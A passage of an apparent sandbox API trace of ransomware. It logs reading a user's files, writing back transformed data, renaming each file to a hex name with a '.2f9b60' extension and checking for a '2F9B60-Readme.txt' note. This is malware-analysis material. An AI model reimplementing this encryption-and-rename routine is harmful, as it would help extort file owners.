returned 0x266330c4 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x28b0de12 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x2c757ab9 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x7913aa8f [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x5dff36da [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x6d84a97 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x7fbb5f7a [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x742d036e [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x1536ed9b [0094.525] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.525] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2559fbe0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2559fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.525] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0094.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0094.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0094.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0094.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.526] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2559fbe0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2559fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97300 [0094.529] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.529] WriteFile (in: hFile=0xd90, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2559fc90, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2559fc90*=0x120, lpOverlapped=0x0) returned 1 [0094.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0094.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0094.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f2f0 [0094.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0094.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0094.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86ef00 [0094.531] sprintf (in: _Dest=0x1b86ef00, _Format="%c%c" | out: _Dest="71") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef02, _Format="%c%c" | out: _Dest="53") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef04, _Format="%c%c" | out: _Dest="c6") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef06, _Format="%c%c" | out: _Dest="37") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef08, _Format="%c%c" | out: _Dest="20") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef0a, _Format="%c%c" | out: _Dest="79") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef0c, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef0e, _Format="%c%c" | out: _Dest="ec") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef10, _Format="%c%c" | out: _Dest="ef") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef12, _Format="%c%c" | out: _Dest="22") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef14, _Format="%c%c" | out: _Dest="78") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef16, _Format="%c%c" | out: _Dest="8b") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef18, _Format="%c%c" | out: _Dest="0a") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef1a, _Format="%c%c" | out: _Dest="c8") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef1c, _Format="%c%c" | out: _Dest="d3") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef1e, _Format="%c%c" | out: _Dest="fe") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef20, _Format="%c%c" | out: _Dest="30") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef22, _Format="%c%c" | out: _Dest="b3") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef24, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef26, _Format="%c%c" | out: _Dest="77") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef28, _Format="%c%c" | out: _Dest="88") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef2a, _Format="%c%c" | out: _Dest="80") returned 2 [0094.531] sprintf (in: _Dest=0x1b86ef2c, _Format="%c%c" | out: _Dest="f6") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef2e, _Format="%c%c" | out: _Dest="d4") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef30, _Format="%c%c" | out: _Dest="60") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef32, _Format="%c%c" | out: _Dest="93") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef34, _Format="%c%c" | out: _Dest="3c") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef36, _Format="%c%c" | out: _Dest="da") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef38, _Format="%c%c" | out: _Dest="e6") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef3a, _Format="%c%c" | out: _Dest="9d") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef3c, _Format="%c%c" | out: _Dest="29") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef3e, _Format="%c%c" | out: _Dest="52") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef40, _Format="%c%c" | out: _Dest="9d") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef42, _Format="%c%c" | out: _Dest="bb") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef44, _Format="%c%c" | out: _Dest="53") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef46, _Format="%c%c" | out: _Dest="4c") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef48, _Format="%c%c" | out: _Dest="e4") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef4a, _Format="%c%c" | out: _Dest="53") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef4c, _Format="%c%c" | out: _Dest="11") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef4e, _Format="%c%c" | out: _Dest="56") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef50, _Format="%c%c" | out: _Dest="bb") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef52, _Format="%c%c" | out: _Dest="cb") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef54, _Format="%c%c" | out: _Dest="76") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef56, _Format="%c%c" | out: _Dest="a0") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef58, _Format="%c%c" | out: _Dest="c4") returned 2 [0094.532] sprintf (in: _Dest=0x1b86ef5a, _Format="%c%c" | out: _Dest="db") returned 2 [0094.532] RtlInitAnsiString (in: DestinationString=0x2559fd08, SourceString="7153c63720799cecef22788b0ac8d3fe30b39c778880f6d460933cdae69d29529dbb534ce4531156bbcb76a0c4db" | out: DestinationString="7153c63720799cecef22788b0ac8d3fe30b39c778880f6d460933cdae69d29529dbb534ce4531156bbcb76a0c4db") [0094.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x2559fcd8, SourceString="7153c63720799cecef22788b0ac8d3fe30b39c778880f6d460933cdae69d29529dbb534ce4531156bbcb76a0c4db", AllocateDestinationString=1 | out: DestinationString="7153c63720799cecef22788b0ac8d3fe30b39c778880f6d460933cdae69d29529dbb534ce4531156bbcb76a0c4db") returned 0x0 [0094.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118610 [0094.533] wcscat (in: _Dest=0x1b784370, _Source="7153c63720799cecef22788" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7153c63720799cecef22788") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7153c63720799cecef22788" [0094.533] wcscat (in: _Dest=0x1b784370, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7153c63720799cecef22788.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7153c63720799cecef22788.2f9b60" [0094.533] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7153c63720799cecef22788.2f9b60", NtPathName=0x2559fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7153c63720799cecef22788.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce11600 [0094.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.534] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x2559fd18, FileInformation=0x2559fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2559fd18, FileInformation=0x2559fd28) returned 0x0 [0094.534] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x2559fd18, FileInformation=0x2559fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784370) returned 1 [0094.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0094.536] FlushFileBuffers (hFile=0xd90) returned 1 [0094.538] CloseHandle (hObject=0xd90) returned 1 [0094.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.539] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.539] wcscat (in: _Dest=0x1b8664c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.539] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b880) returned 1 Thread: id = 567 os_tid = 0xea0 [0094.542] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Q7luwV1VLW5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\q7luwv1vlw5.swf")) returned 0x20 [0094.542] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Q7luwV1VLW5.swf", dwFileAttributes=0x20) returned 1 [0094.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Q7luwV1VLW5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\q7luwv1vlw5.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.543] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x2515fbc0 | out: lpFileSize=0x2515fbc0*=46862) returned 1 [0094.543] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xb70a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.543] ReadFile (in: hFile=0xd90, lpBuffer=0x2515fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2515fb88, lpOverlapped=0x0 | out: lpBuffer=0x2515fb40*, lpNumberOfBytesRead=0x2515fb88*=0x4, lpOverlapped=0x0) returned 1 [0094.544] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.544] NtQuerySystemTime (in: CurrentTime=0x2515fa80 | out: CurrentTime=0x2515fa80*=132462177003778000) returned 0x0 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x5a54e5fa [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x22608102 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x3f20b121 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x329ca2c5 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x25e15543 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x6399ecf2 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x83b2bc1 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x4f260e97 [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x7f7add0e [0094.544] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x1b688e00 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x1c0fc9f5 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x1589bc6d [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x3c8bedb1 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x467b389d [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x6f52f91a [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x62f94550 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x3f01edbc [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x74cbec3 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x3b9a5482 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x71229f3e [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x4d121a69 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x6560325f [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x19ac0e8b [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x3b96024c [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x2607d423 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x7cf14ae3 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x70d0bfa2 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x4c5e27ef [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x4d3491e [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x614a91c4 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x58ddf2d8 [0094.545] RtlRandomEx (in: Seed=0x2515fa70 | out: Seed=0x2515fa70) returned 0x461c5617 [0094.558] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.558] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2515fae0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2515fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.558] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0094.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0094.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.559] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2515fae0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2515fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f2f0 [0094.574] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.574] WriteFile (in: hFile=0xd90, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2515fb90, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2515fb90*=0x110, lpOverlapped=0x0) returned 1 [0094.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0094.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85fc40 [0094.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0094.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97300 [0094.576] sprintf (in: _Dest=0x1cd97300, _Format="%c%c" | out: _Dest="71") returned 2 [0094.576] sprintf (in: _Dest=0x1cd97302, _Format="%c%c" | out: _Dest="20") returned 2 [0094.576] sprintf (in: _Dest=0x1cd97304, _Format="%c%c" | out: _Dest="ef") returned 2 [0094.576] sprintf (in: _Dest=0x1cd97306, _Format="%c%c" | out: _Dest="43") returned 2 [0094.576] sprintf (in: _Dest=0x1cd97308, _Format="%c%c" | out: _Dest="77") returned 2 [0094.576] sprintf (in: _Dest=0x1cd9730a, _Format="%c%c" | out: _Dest="05") returned 2 [0094.576] sprintf (in: _Dest=0x1cd9730c, _Format="%c%c" | out: _Dest="ef") returned 2 [0094.576] sprintf (in: _Dest=0x1cd9730e, _Format="%c%c" | out: _Dest="eb") returned 2 [0094.576] sprintf (in: _Dest=0x1cd97310, _Format="%c%c" | out: _Dest="ae") returned 2 [0094.576] sprintf (in: _Dest=0x1cd97312, _Format="%c%c" | out: _Dest="24") returned 2 [0094.576] sprintf (in: _Dest=0x1cd97314, _Format="%c%c" | out: _Dest="78") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97316, _Format="%c%c" | out: _Dest="fe") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97318, _Format="%c%c" | out: _Dest="e0") returned 2 [0094.577] sprintf (in: _Dest=0x1cd9731a, _Format="%c%c" | out: _Dest="4b") returned 2 [0094.577] sprintf (in: _Dest=0x1cd9731c, _Format="%c%c" | out: _Dest="00") returned 2 [0094.577] sprintf (in: _Dest=0x1cd9731e, _Format="%c%c" | out: _Dest="0b") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97320, _Format="%c%c" | out: _Dest="10") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97322, _Format="%c%c" | out: _Dest="ea") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97324, _Format="%c%c" | out: _Dest="e8") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97326, _Format="%c%c" | out: _Dest="be") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97328, _Format="%c%c" | out: _Dest="a6") returned 2 [0094.577] sprintf (in: _Dest=0x1cd9732a, _Format="%c%c" | out: _Dest="61") returned 2 [0094.577] sprintf (in: _Dest=0x1cd9732c, _Format="%c%c" | out: _Dest="b0") returned 2 [0094.577] sprintf (in: _Dest=0x1cd9732e, _Format="%c%c" | out: _Dest="a7") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97330, _Format="%c%c" | out: _Dest="2e") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97332, _Format="%c%c" | out: _Dest="80") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97334, _Format="%c%c" | out: _Dest="3d") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97336, _Format="%c%c" | out: _Dest="5f") returned 2 [0094.577] sprintf (in: _Dest=0x1cd97338, _Format="%c%c" | out: _Dest="6c") returned 2 [0094.577] sprintf (in: _Dest=0x1cd9733a, _Format="%c%c" | out: _Dest="c0") returned 2 [0094.578] RtlInitAnsiString (in: DestinationString=0x2515fc08, SourceString="7120ef437705efebae2478fee04b000b10eae8bea661b0a72e803d5f6cc0" | out: DestinationString="7120ef437705efebae2478fee04b000b10eae8bea661b0a72e803d5f6cc0") [0094.578] RtlAnsiStringToUnicodeString (in: DestinationString=0x2515fbd8, SourceString="7120ef437705efebae2478fee04b000b10eae8bea661b0a72e803d5f6cc0", AllocateDestinationString=1 | out: DestinationString="7120ef437705efebae2478fee04b000b10eae8bea661b0a72e803d5f6cc0") returned 0x0 [0094.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4d380 [0094.578] wcscat (in: _Dest=0x1b8664c0, _Source="7120ef437705efe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7120ef437705efe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7120ef437705efe" [0094.578] wcscat (in: _Dest=0x1b8664c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7120ef437705efe.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7120ef437705efe.2f9b60" [0094.578] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7120ef437705efe.2f9b60", NtPathName=0x2515fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7120ef437705efe.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad5c0 [0094.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.579] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x2515fc18, FileInformation=0x2515fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2515fc18, FileInformation=0x2515fc28) returned 0x0 [0094.580] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x2515fc18, FileInformation=0x2515fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d380) returned 1 [0094.582] FlushFileBuffers (hFile=0xd90) returned 1 [0094.583] CloseHandle (hObject=0xd90) returned 1 [0094.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.584] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: 